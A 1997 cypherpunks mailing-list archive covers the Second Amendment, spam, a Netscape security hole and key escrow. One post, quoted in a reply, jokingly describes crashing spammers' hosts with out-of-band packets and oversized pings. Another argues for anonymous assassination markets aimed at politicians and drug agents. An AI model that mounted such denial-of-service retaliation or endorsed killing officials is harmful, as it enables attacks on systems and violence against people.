of data banks, government, military, corporations and other XXX sites? 
They're stuffed with make-work idleness, slightly Dilberted with lonely-guy 
infowar & -love games of fantasies of what will never be. 

Recall Mitnick's find on The Well, Shimomura, the telcos and the feds -- lots
of empty data and wannabe-prattle.

In that case, the Feds and the victims conspired to script a film to make the 
nothingness seem valuable, when what they really feared that it would be 
shown to be worthless junk. 

Not that NSCP would sink to that kind of RSA Schwartau TLA insecurity.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 15 Jun 1997 23:33:38 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Do reporters have special rights the rest of us don't have?
In-Reply-To: <19970614230152.15019@bywater.songbird.com>
Message-ID: <19970615082454.12999@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Jun 15, 1997 at 01:47:14AM -0500, William H. Geiger III wrote:
>
>Well Kent we must be reading from two different dictionaries:
>
>infringe: to encroach upon in a way that violates law or the rights of
>another
>
>encroach: to enter by gradual steps or by stelth into the possessions or
>rights of another.

No, that's essentially what my dictionary says.  The issue isn't
"infringe".  The issue is exactly *what* is being infringed upon --
what does it mean to "keep and bear arms", and who is being referred
to by "the people", and what is the meaning of the clause about a
"well *regulated* militia" (my emphasis).

>By the above definition this is exactly what the government has been doing
>with it's ever increasing restictions on the possesions of guns by it's
>citizens and what the founding fathers wished to posses. If they had
>wanted the government to have the power to control and regulate the
>ownership of guns then they would have said so.

I believe they did.  There are numerous other clauses in the 
constitution that grant powers to congress to regulate various things 
in broad and general terms -- those adequately cover guns.

Furthermore, the constitution only covers the federal government.  
State governments have a whole other level of control over individual 
ownership of guns.

A nearby town recently passed a hotly contested city ordinance
forbidding the sale of "junk guns" in the city limits.  Such
ordinances are fairly common -- this case was unusual because it went
to a popular vote.  Perhaps it will be appealed, but I believe that 
an appeal will lose.

>The Bill of Rights were not added to the Constitution to give the
>government more power but to restrict their power.

Here are some interesting clauses from the constitution, listing certain 
powers:

    ...

    To make Rules for the Government and Regulation of the land and
    naval Forces;

    To provide for calling forth the Militia to execute the Laws of
    the Union, suppress Insurrections and repel Invasions;


    To provide for organizing, arming, and disciplining, the Militia,
    and for governing such Part of them as may be employed in the
    Service of the United States, reserving to the States
    respectively, the Appointment of the Officers, and the Authority
    of training the Militia according to the discipline prescribed by
    Congress;

[note: ..."suppress Insurrections"]
[note: the mention of the "Militia", and how they have a clear idea
       of what it is and how it is to be used]
    ... 

    To make all Laws which shall be necessary and proper for carrying
    into Execution the foregoing Powers, and all other Powers vested
    by this Constitution in the Government of the United States, or in
    any Department or Officer thereof.

>The whole purpose of the 2nd Amendment was to provide a final check & 
>balance on the government. 

My reading of the constitution and supporting documents does not
support this claim.

In fact, William, though it may not appear so, I am relatively 
impartial on interpretation of the second amendment -- I own several 
guns, my family has always owned guns, I was a member of the NRA at 
the earliest possible age, back when their focus was responsible use 
and not advocacy for large gun companies.

My beef with you and Tim and the other gun advocates on the list is 
precisely this issue of responsibility, not ownership of guns per 
se.  Guns are not toys.  They don't belong in the hands of children.
[Do you think the constitution guarantees that two-year olds should 
be able to carry guns, BTW?  If not, why not?]

>Our founding fathers were all too aware that it
>was manditory that the population must be well armed inorder preserve
>their freedom against an unjust government.

I refer you again to the "suppress Insurrections" clause above.

>An unarmed people are just so much sheep waiting for the slaughter.

Perhaps true.  However, that does not imply that every single 
individual therefore must own a gun.  Saying "the people are armed" 
is not the same thing as saying "every single individual has a gun".  
"The people" includes babies, the blind, quadraplegics, psychopaths, 
convicted felons in jail, Quakers.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
Date: Sun, 15 Jun 1997 21:00:32 +0800
To: Bill Frantz <frantz@communities.com>
Subject: Re: Spam Libs (Frauenfelder on HotWired)
In-Reply-To: <3.0.32.19970613120139.0074c9b4@homer.communities.com>
Message-ID: <199706151242.IAA08090@goffette.research.megasoft.com>
MIME-Version: 1.0
Content-Type: text/plain




I'm not sure about c'punk relevance, but that doesn't seem to make
much difference these days.  Anyone interested in the previous message
is likely interested in this.

Here's (most) of a note I sent to Mark Frauenfelder.

-------------------------------- snip --------------------------------
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
To: mark@wired.com 
Subject: MadSpams...SpamLibs... uh... yeah
Date: Thu, 12 Jun 97 08:43:58 EDT

*chuckle* ... that's pretty good.

Some of my favorite activities with regard to spammers:
 * giving them a nice call on the telephone.  Call collect, and then
   say that you've got something to sell them.  Read them back their
   own spam if you can get that far.
 * calling their 800 number and reading them their own spam
 * calling them to ask  if they have any idea what they're doing to the
   Internet.  The answer is invariably "no."  (Of course not, these
   are clueless parasites.)
 * signing up one spammer's autoresponder to another spammer's
   autoresponder. 
 * collecting a list of technical and administrative contacts for
   zones that are notorious about originating spam, the people who
   sell and give out their spam software, etc.  Then, every time spam
   comes in, simply bounce it to that alias, and the spammers all spam
   each other.
 * sending mail back that's politely insulting.  My favorite
   one-liner:
     "You're not a very smart man, are you?"
 * My favorite for sex-related spam:  hinting that I became aware of
   their spam after my 9 year old daughter with an email address asked
   me what "hardcore anal sex" is.  Doing this over the phone is
   great, because I can yell hysterically.  Through email is even better,
   since I can copy their ISP's contact, and that one... all the way
   to the backbone.
 * Sometimes my mail relay seems to choke on spam, and sends back a
   packet with a MSG_OOB bit sent to the host that originated the
   spam.  Gee, dunno how that happened.  Sometimes if the host stays
   up after that, it's followed by an oversized ping.  Shucks, that's
   too bad when that happens.  Maybe one day I'll track down that, uh,
   bug and ... fix it.

Of course, I always complain about every spam that hits me.  The
administrative contact of the site that is as far back as I can trace
the message, the administrative contact of the site's ISP, and that
site's ISP, all the way up to a backbone provider, or a well-known,
responsible organization.  I have a form letter for doing this, and
I've got another completely-ready-to-go letter that just needs me to
slap in the To: addresses:
   wallace@cyberpromo.com, postmaster@cyberpromo.com, postmaster@agis.net

You can guess what that one's for.

In all seriousness, I'm working on a paper for filtering spam.  I
think I've found a way to almost completely eliminate it through a
combination of router access control lists, spam-aware mail transfer
agents (MTAs), and filtering local delivery agents.  Individuals who
wish to filter beyond that can also put on filters of their own with
programs like Z-mail, Eudora, and procmail.  I'm hoping that I'll be
able to get enough people filtering the stuff out that it simply won't
work.  If it won't work, economics will dictate that the spammers go
out of business and go back to assembling chilitos at Taco Bell.

Maybe a good thing to do would be to provide a program to users for
the spam that does slip through, sort of an automated spamlib, that
parses the headers and knows where to send it... :-)

------------------------------- unsnip -------------------------------

-- 
Matt Curtin  Chief Scientist Megasoft Online  cmcurtin@research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Pull AGIS.NET's plug!   Crack DES NOW! http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 16 Jun 1997 00:04:16 +0800
To: Tom Weinstein <cypherpunks@Algebra.COM
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <199706150714.AAA23115@adnetsol.adnetsol.com>
Message-ID: <v03102803afc9c0a4fffd@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:15 AM -0700 6/15/97, Tom Weinstein wrote:
>Ross Wright wrote:
>>
>> On or About 13 Jun 97 at 18:35, Tom Weinstein wrote:
>>
>> > week for 4.0.  A fix for 3.x will follow once we have 4.0 fixed.
>>
>> Saw this post to Cypherpunks.  I hate to sound less than savvy, but I
>> use 2.02.  You guys are gonna help us who refuse to upgrade, right.
>
>Sorry, but we don't have any plans to respin 2.x at this time.  If we
>get enough requests for it, it might be possible to change our mind,
>though.

I'm about to abandon 3.0 and go back to 2.x. Or look at Explorer. The
memory footprint went up dramatically (Macintosh version at least), so that
I can no longer have all my favorite apps open. If I want to check stock
quotes, I have to quit one of my other Internet apps.

The dancing Java ads are not worth it.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 16 Jun 1997 00:13:56 +0800
To: Tom Weinstein <rah@shipwright.com>
Subject: Re: e$: Skins vs. Shirts
In-Reply-To: <v03020931afc8ee48fc8f@[139.167.130.246]>
Message-ID: <v03102804afc9c1c4438b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:26 AM -0700 6/15/97, Tom Weinstein wrote:

>Just to be clear, we didn't give the blackmailer any money.  As Mike
>Homer put it: "We don't bargain with terrorists."
>

Netscape wants money for one of their products. I won't give them money. "I
don't bargain with terrorists."


(What the Danes offered was a straight buiness deal, albeit made weirder
and more frantic by the constraints of time, publicity, and worldwide
attention. Still a business deal, though. When Collabra wanted X dollars to
be acquired by Netscape, was this also "terrorism"? The term "terrorist"
hardly applies in business deals.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 15 Jun 1997 22:30:27 +0800
To: cypherpunks@toad.com
Subject: Re: e$: Skins vs. Shirts
In-Reply-To: <1.5.4.32.19970615122126.008e4e64@pop.pipeline.com>
Message-ID: <v03020946afc9a74cfb1c@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:21 am -0400 on 6/15/97, John Young wrote:


> ... Sounds a bit Kallstromish...
> Surely Homer hasn't been hanging with the CT-hypers.
>
> ...an inflation of
> terrorist-spin to whatever feeds nightsweats of monsters coming to
> Ballmer our babies -- of flesh, markets or surveilling features.
>
> .......slightly Dilberted with lonely-guy
> infowar & -love games of fantasies of what will never be. ...
>
> Recall Mitnick's find on The Well, Shimomura, the telcos and the feds -- lots
> of empty data and wannabe-prattle.
>
> In that case, the Feds and the victims conspired to script a film to make
>the
> nothingness seem valuable, ...
>
> Not that NSCP would sink to that kind of RSA Schwartau TLA insecurity.


Wow. I actually understood all that...

The scent of the cogs is unmistakable hereabouts.

;-).

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 15 Jun 1997 22:45:54 +0800
To: John Smith <jsmith58@hotmail.com>
Subject: Re: IBM sues critics?
In-Reply-To: <199706150054.RAA05736@f23.hotmail.com>
Message-ID: <Pine.LNX.3.91.970615121118.2171B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Can someone explain the difference between key recovery and key
> escrow?  The IBM white paper describes it at
> http://www.ibm.com/security/html/pp_global5.html in terms of
> giving a keys or a combination to your neighbors, but the
> analogy was hard to follow.

Key escrow is where your keys are held by one or more trusted and 
supposedly independent third parties, on reciept of a court order they 
would release the keys.
Key recovery is more like the clipper scheme where there was a LEAF (law 
enforcement access field) which allowed the LEA to decrypt communications.

But in the end it all comes down to GAK (government access to keys), same 
shit, different name. Forgive me if this explanation is a little hazy, I 
have a mighty hangover (still only 12:15 sunday morning here).

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 15 Jun 1997 21:57:40 +0800
To: Pilgrim <nfn04017@gator.naples.net>
Subject: Re: Democratic Assassination
In-Reply-To: <l03102800afc8769946ae@[204.210.206.39]>
Message-ID: <Pine.LNX.3.91.970615122113.2171C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> This is true. Just because AP exists, doesn't immediately imply that it can
> become a tool for censorship. It was, after all, intended to be used as a
> tool to get rid of 'bad' people.
> 
> We are very good at taking tools and using them for evil purposes...to kill
> and maim one another.

True, but I don`t believe in judging crime at a collective level, just as 
free will is an individual characteristic and not specifically of a 
group, so criminality is defined at an individual level.

I have to agree that if AP were to come about, and indeed when fully 
anonymous digital assasination markets do become a reality, innocent 
people will be killed. So? I further agree that a society without 
assasination markets is safer, more peaceful etc. So? Assasination 
markets will allow the untraceable killings of hundreds of evil people 
who cannot be removed easily in any other way.
Speaking entirely hypothetically: If assasination bots were implemented, 
and I ran one, I would choose to keep a list of poloticians, DEA cops, 
censors etc. and only allow contracts on them, of course, there is 
nothing to stop anyone else running a server that accepted bets on 
anyone. I would just choose not to allow my equipment to be used for 
hiring assasins to kill innocent people. 

> So there is something that greatly disturbs me when we merge the speed and
> efficiency of technology with something as horrific as death. Indeed it has
> already been done...(lemme digress for a little while)...I remember all of
> the press conferences that were held during the Gulf War, when the United
> States military was showing off its flashy high tech toys, which allowed
> our fighters to blow things up from a very safe distance. We saved a lot of
> "the good guy's" lives that way...our troops didn't encounter much blood at
> all. But perhaps war ought not to be so clean....perhaps war should be
> brutal and messy and bloody and costly...not because blood and guts and
> horror and terror are good things, but because war is, in and of itself, a
> horrific thing...and this technology blinds us to that fact....

I agree, making war clinical and distancing ourselves from the bloody 
reality on the other side is not a good thing (tm). But, I draw your 
attention to the fact that we cannot generalise this principle to 
assasination. Normally assasination is cold and clinical for the person 
hiring the assasin anyway, and secondly, those who will kill an innocent 
person are probably too fucked up to be affected by the sight of 
suffering or death.
Also, brutal and costly wars have not affected us in the past, take WWI, 
Brusilov led an offensive that resulted in massive loss of life for 
minimal gain of territory, the many attacks of Field Marshal Sir Douglas 
Haig (A well known British tactician who always succeeded in killing as 
many of his own men as possible) particularly the first day of the Somme, 
where the British suffered 20000 dead, and gained only about 7km in 5 
months of fighting. The total dead in WWI were around 6 million, with 
around 18 million wounded.
The result of this terrible and brutal war? Anyone without the benefit of 
hindsight would call it a deterrent, a war to end all wars. But no, of 
course then there is WWII to consider. Barely 20 years later another war, 
some estimes putting the total dead at around 45 million (more 
conservatively around 37 million), the majority of these deaths were 
civilian. 
You might then say, has WWII not acted as a deterrent, we shall see, WWII 
was costly in terms of public opinion to the government in Britain 
because of the high number of civilian deaths actually occuring in 
Britain through bombings, this may act as a deterrent for government to 
venture into war lightly.


> in an
> attempt to make war "clean" with technology, we have only blinded
> ourselves...and thus war becomes a little too easy for my own liking.

I do agree, and intuitively it seems that massive loss of life and 
breaking of eggs would seem to act as a deterrent, but I don`t think it 
is quite so straightforward as all that. 

> I think there are great similarities between high-tech war and AP. Both are
> very 'tidy' ways to kill people, at great distances from unseen locations,
> without having to deal with the negative reprocussions of the act. They
> both make killing a little too clean. They both make it easy for us to
> dehumanize our targets, so that what we're killing is not really another
> human being, but some object....some nuisance that must be destroyed.

True enough, I personally do see government officials and police etc. as 
merely a nuicance to be destroyed, but I agree that dehumaizing the 
victims of a killing is not a good thing in many circumstances.

> If I kill someone with a hammer, or a gun, there is a certain level of
> commitment that I have to make. I have to deal with the dehumanization. I
> have to deal risk being caught. **I** have to do it.

Hmm, but I would say that if you are going to kill an innocent person you 
are probably not of a disposition or of a level of moral development 
where the sight of their head smashed in would deeply affect you, except 
on a temporary "freaked out" level.

> Personally, I find it would find it hard to dehumanize someone when I put a
> gun to their head and read the look of terror in their face. I would find
> it hard to commit the act, knowing that there is a manifold number of ways
> that I could be caught. Furthermore, I know I could not deal with the
> responsibility of killing someone afterwards.

Depends who you are talking about, morality based on the fear of 
punishment is first level ethical development, I will ignore this and 
just deal with the other issues.
If I were to not care about being caught, and the person I was killing 
was clearly guilty of crime (ie. a DEA agent) the look of terror in their 
face might instinctively and on a reactionary level affect me, but I 
think I could get over that by simply concentrating on the task in hand 
(dehumanising again), the responsibility of killing someone after the 
fact is no greater than that of considering your actions before, if you 
have decided in good conscience that there is conclusive proof of their 
guilt, and you are acting in self defence (and let us assume that you 
have judged accurately and are not just seeing what you want to see) then 
you can, assuming you are logical, put the act down to self defence or to 
punishment of whatever your preferred reason of the week, however, I 
presume you are not entirely logical, nor am I, and I can only say that 
emotional jabs at your conscience after the fact would just be something 
to be ignored or reasoned away.

> But AP is a nice neat solution to this. It makes killing very tidy, and
> minimizes my own responsibility. I can use it to easily fool myself into
> thinking that I'm really not resposible for killing a human

Yes, I personally do not see it this way, I think I would feel just as 
great a moral duty to justify my actions in killing someone using AP as I 
would using a gun, but a lot of people might use it to get away from the 
reality of their actions.

> Killing people is horrific and should remain that way..lest killing becomes
> a little too easy...and once killing people becomes as easy as buying a
> newspaper, who knows people will do with it. AP is way too easy for my
> liking.

Again, one cannot judge the tool itself, it has no intrinsic moral value. 
The way it is used defines it`s overall worth, this is why I believe on 
the whole AP cannot really be judged, except to say it allows removal of 
heads of state which has to be a good thing.

> My point was not that anonymous digital assasination was not possible...but
> rather, the notion of such a mechanism being democratic is incorrect. If it
> were democratic, there would be some sort of referendum...some sort of vote
> being taken...and if enough people vote no, then it wouldn't take place.

This appeals to me even less than digital contract assasinations because 
it is the law of the mob, the democratic genocide of whole groups of 
people could occur under this system, hardly an anarchic notion.

> In my mind, the notion of this mechanism being democratic was the only
> ****REMOTELY**** redeeming characteristic about this whole thing...and my
> argument is that this system isn't even democratic. To make it work, one
> doesn't need enough people and enough consenting opinions, simply enough
> resources. While the two are sometimes related, they aren't always.

I don`t think so, I agree that making the system democratic would prevent 
completely frivolous killings like someone next door neighbour or a shop 
assistant that short changed someone, but it would also lead to genocide. 
Groups of people are always looking for scapegoats, and if, as you say 
above, DAP (democratic assasination polotics) could be used to dehumanise 
genocide it would be the new MK2 gas chamber.

> >You do live in such a society, if the government decides to fuck you over
> >and manages somehow to make a muder charge stick 12 randomly selected
> >people can decide whether you live or die. If you say something unpopular
> >you can be assasinated.
> 
> This is a nasty truth.....so do I want this power expanded?

I don`t see AP as a democratic system, see my objections to this above, 
I have nearly always been more in favour of a more direct TCM type 
contract assasinations market system (I often use the term AP generically 
to sum up all assasination systems because it is easier to type quickly) 
because although it allows frivolous killings it:

A. Discourages them by making the financial penalty reasonably high as 
opposed to a couple of dollars.

B. Prevents mass genocide through democratic means.

> Now, the chances of a man in black from Washington DC to knock me off are
> relatively small, compared to the chances of a couple of bigshots around
> town arranging my murder using AP. This goes back to the point about AP
> making killing a touch too easy.

Yes, I am not trying to justify the existance of an AP type system from a 
utilitarian point of view, although I think you can justify it from a 
negative utilitarian point of view by looking at the suffering ended by 
the removal of governments, merely to point out its good features and 
remind people that it is just a tool, true, a very powerful one, and this 
leads us back to the old "personal ownership of nuclear weapons" argument, 
which I won`t go into here.

> If the government has the power to easily assassinate me for being
> unpopular, this is a bad thing....but it doesn't lead me to conclude that
> more people should have this kind of power....because I fear that rather
> than this becoming a tool to fight oppression....it will simply become a
> tool to kill people we don't like...politicians or janitors.

I too have the same fears and concerns about assasination being 
democratised in a traditional Bell style (BTW, does anyone know if Jim 
is out yet, and what is occuring with his case?, I haven`t heard 
anything for a couple of weeks) AP system and this is why in this respect 
I favour TCM type anonymous assasination contracts.

> >This is a difficult point to even contemplate as having any basis in
> >reality. Do you know any police officer (lets make that more specific
> >and say DEA inspector) who is a victim? Do you know of any possibility,
> >no matter how remote, that someone delegated the task of beating
> >confessions out of suspects is a "victim" himself?
> 
> It's a long story, and I can't go into it much without probably angering
> many people on this listserv....but the roots of this idea begin in some
> fundamental beliefs about people that I, being a committed Christian, carry
> with me. If you care to get the full sermon, lemme know and I'll send you a
> personal email.

I won`t go ask for the full sermon as I think we agree on a number of 
points and it would be a pity to get into a flame war over this (and I 
can assure you that any discussion with me, as a devout atheist, over 
religiously derived beliefs would end in a flame war).


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Mon, 16 Jun 1997 02:38:59 +0800
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <33A3A4AC.192E128A@netscape.com>
Message-ID: <Pine.LNX.3.96.970615133246.1608A-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 15 Jun 1997, Tom Weinstein wrote:

> > > week for 4.0.  A fix for 3.x will follow once we have 4.0 fixed.
> > 
> > Saw this post to Cypherpunks.  I hate to sound less than savvy, but I
> > use 2.02.  You guys are gonna help us who refuse to upgrade, right.
> 
> Sorry, but we don't have any plans to respin 2.x at this time.  If we
> get enough requests for it, it might be possible to change our mind,
> though.

I still have a copy of MCOM/Netscape Navigator 0.94 around... does the
bug exist this far back, or am I going to have to start using Cello,
or something equally obscure?

dave

- -- David E. Smith, P O Box 324, Cape Girardeau MO 63702
(573)334-0950  dave@[clas.net | linuxware.com | ml.org]
PLEASE ensure your mailer acknowledges my Reply-To: hdr
Keywords: CPSR EFF ACLU DS6724 Delphi SF bureau42 Wicca
HWG Dilbert crypto Millennium Linux YDKJ PGP single! ;)

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Mon, 16 Jun 1997 04:59:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Spam Libs (Frauenfelder on HotWired)
Message-ID: <Pine.GUL.3.95.970615133937.11282A-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

C Matthew Curtin <cmcurtin@research.megasoft.com> wrote:

> * Sometimes my mail relay seems to choke on spam, and sends back a
> packet with a MSG_OOB bit sent to the host that originated the
> spam. Gee, dunno how that happened. Sometimes if the host stays
> up after that, it's followed by an oversized ping. Shucks, that's
> too bad when that happens. Maybe one day I'll track down that, uh,
> bug and ... fix it.

Damn... this bug must spread like the Good Times Virus. Mine just started
showing one of these symptoms, too, but only when approached by certain
domains (it being impolite to hit people who've been framed).

Have you isolated any code fragments that might help a virus scanner detect
this problem? This must be stopped, and I think full disclosure might help.

- -rich
 http://www.stanford.edu/~llurch/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQBVAwUBM6RU7pNcNyVVy0jxAQHC9wH/Wi0lty3BWv4NjDYbmoNL2KZrqEkr1LTq
uJBCTW5xwgSnZlZOy3ZEW1+qHTfC3rvTEXQhUjM1Fdk/4yZC5iuoQA==
=YPKa
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 16 Jun 1997 02:37:49 +0800
To: cypherpunks@toad.com
Subject: Key Ass-crow
Message-ID: <199706151816.OAA05838@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley wrote:
> > Can someone explain the difference between key recovery and key
> > escrow? 

> Key escrow is where your keys are held by one or more trusted and
> supposedly independent third parties, on reciept of a court order they
> would release the keys.

  Kind of like trusting a friend not to bugger you while you are
drunk and passed out. (But he can't prevent the police from hauling
you in for public intoxication and locking you up with someone who
might do so.)

> But in the end it all comes down to GAK (government access to keys), same
> shit, different name. 

  This is much like having a Dominatrix who chains you to the toilet
and brings out a mixed bag of utensils and instruments which are about
to be used for purposes that are a far cry from what they were created
for, and to access areas that Nature never intended to be subjected to
large amounts of sunshine.

  Perhaps someone should come out with a GAK T-shirt which has a
citizen "assuming the position" while a GAK cop stands behind him
with a crowbar stuck halfway up the citizen's ass, and saying,
"If you don't have anything to hide, then you have nothing to
worry about."

AssMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 16 Jun 1997 02:51:16 +0800
To: cypherpunks@toad.com
Subject: eDrugs / Re: e$: Skins vs. Shirts
Message-ID: <199706151830.OAA07797@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga wrote:
> At 8:21 am -0400 on 6/15/97, John Young wrote:
> 
> > ... Sounds a bit Kallstromish...
> > Surely Homer hasn't been hanging with the CT-hypers.
> > ...an inflation of
> > terrorist-spin to whatever feeds nightsweats of monsters coming to
> > Ballmer our babies -- of flesh, markets or surveilling features.
> > .......slightly Dilberted with lonely-guy
> > infowar & -love games of fantasies of what will never be. ...
> > Not that NSCP would sink to that kind of RSA Schwartau TLA insecurity.
> 
> Wow. I actually understood all that...
> 
> The scent of the cogs is unmistakable hereabouts.

  Hetting and Young both pass on a variety of highly informative and
exceedingly normal, reality-based material for the most part. Then,
out of the blue, they post Taoist-Kerouac, acid-flashback missives
which indicate that the Orphan Zombies roaming the computer Nether-
world have not yet managed to steal their souls.
  Since John and Bob's psyche-meanderings often seem to occur within
the same time-frame I have concluded that they both have the same
drug connection.

  So...did you bring enough for everybody?

DrugMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 16 Jun 1997 05:53:43 +0800
To: cypherpunks@toad.com
Subject: The Cartoon Decency Act, from The Netly News
Message-ID: <Pine.GSO.3.95.970615143809.1004A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



***********

http://cgi.pathfinder.com/netly/opinion/0,1042,1055,00.html

The Netly News Network
June 13, 1997

The Cartoon Decency Act?
by Declan McCullagh (declan@well.com)

        We all know what threats confront our children today: War.
   Hunger. Poverty. Ignorance. But animated cartoon characters on the
   Net?

        Actually, the Center for Media Education and its allies ignored
   the others and just zeroed in on the looming menace of Net-toons
   yesterday during the Federal Trade Commission's interminable privacy
   hearings. CME's Shelley Pasnik warned, "Animated product
   spokescharacters are coming into our childrens' computers... Parents
   are deeply troubled by the intrusive nature of the online [world]
   coming into our homes." Hadn't she read Kurt Anderson's editorial in
   The New Yorker this week, that the onslaught of 'toons signals a
   cultural renaissance in the U.S.? Doh!

        The Center for Media's alarums sound familiar. Supporters of the
   notorious Communications Decency Act cried that "pornography is coming
   into our home computers" and used the same excuse of "protecting
   children" to justify passing the law.

[...]

        Next came Michael Brody from the American Academy of Child and
   Adolescent Psychiatry, who cranked up the rhetoric even more. "Ronald
   McDonald is so very busy in a cyberspace with no child rules. With
   entertainment and advertising totally merged, Ronald exploits children
   easily," Brody said. "Cholesterol is not the real public health menace
   on Ronald's web site, but the invasion and destruction of a child's
   fantasy life." Good thing he hadn't seen HotWired's Cocktail site.

[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 16 Jun 1997 03:04:38 +0800
To: cypherpunks@toad.com
Subject: Blackmail / Re: e$: Skins vs. Shirts
Message-ID: <199706151846.OAA09246@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> At 1:26 AM -0700 6/15/97, Tom Weinstein wrote:
> 
> >Just to be clear, we didn't give the blackmailer any money.  As Mike
> >Homer put it: "We don't bargain with terrorists."

> (What the Danes offered was a straight buiness deal, albeit made weirder
> and more frantic by the constraints of time, publicity, and worldwide
> attention. Still a business deal, though. When Collabra wanted X dollars to
> be acquired by Netscape, was this also "terrorism"? The term "terrorist"
> hardly applies in business deals.)

  As Tim almost points out, people who use their own time, resources
and money to examine your product and discover weaknesses in it which
can be corrected in order to make it a better product hardly qualify
as blackmailers (unless a company considers that their in-house QA
staff is "blackmailing" them to receive a salary).

  (Pay attention, Netscape--major CLUE coming up...)
  It is not the consumer or user's job to keep track of what the
company who produces the software deems to be "proper" use of the
product they have bought. Likewise, it is not the job of computer
analysts and researchers to search out the flaws in a profitable
software and give away their knowledge so that the producer of
the software can maintain or increase their profits.
  If the people who discovered the flaw had wanted they could have
chosen to sell their knowledge to Microsoft for probably a very
substantial sum. 
  Can you imagine the embarassing position Netscape would be in
if Bill Gates made a press announcement about the Netscape flaw
and informed the public that a "Netscape fix" was available at
microsoft.com?

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 16 Jun 1997 03:52:29 +0800
To: cypherpunks@toad.com
Subject: SnailMail Ver. 1.0 / Re: Impact of Netscape kernel hole
Message-ID: <199706151937.PAA11998@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



David E. Smith wrote:
> On Sun, 15 Jun 1997, Tom Weinstein wrote:
